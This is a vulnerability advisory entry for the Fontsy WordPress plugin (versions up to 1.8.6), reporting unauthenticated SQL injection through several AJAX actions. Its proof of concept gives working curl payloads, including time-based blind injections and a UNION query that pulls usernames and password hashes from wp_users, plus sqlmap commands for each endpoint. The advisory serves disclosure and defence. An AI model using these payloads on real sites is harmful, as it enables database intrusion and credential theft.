WordPress Plugin Vulnerabilities
Fontsy <= 1.8.6 - Multiple Unauthenticated SQLi
Description
The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
Proof of Concept
curl -i 'http://example.com/wp-admin/admin-ajax.php?action=get_fonts' \ --data 'id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))hewu)' ... or use the sqlmap command below to automate the attack: sqlmap -u 'http://example.com/wp-admin/admin-ajax.php?action=get_fonts' \ --data 'id=1' \ -p id \ --risk 3 \ --level 5 \ --dbms mysql \ --batch --- curl -i 'http://example.com/wp-admin/admin-ajax.php?action=get_tag_fonts' \ --data 'id=-1 UNION ALL SELECT NULL,NULL,NULL,CONCAT((SELECT user_login from wp_users),CHR(0x3a),(SELECT user_pass from wp_users)),NULL-- -' ... or use the sqlmap command below to automate the attack: sqlmap -u 'http://example.com/wp-admin/admin-ajax.php?action=get_tag_fonts' \ --data 'id=1' \ -p id \ --risk 3 \ --level 5 \ --dbms mysql \ --batch --- curl -i 'http://example.com/wp-admin/admin-ajax.php?action=delete_fonts' \ --data 'font_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))kfTw)' ... or use the sqlmap command below to automate the attack: sqlmap -u 'http://example.com/wp-admin/admin-ajax.php?action=delete_fonts' \ --data 'font_id=1' \ -p font_id \ --risk 3 \ --level 5 \ --dbms mysql \ --batch
Affects Plugins
References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-21 (about 1 years ago)
Added
2022-12-21 (about 1 years ago)
Last Updated
2022-12-21 (about 1 years ago)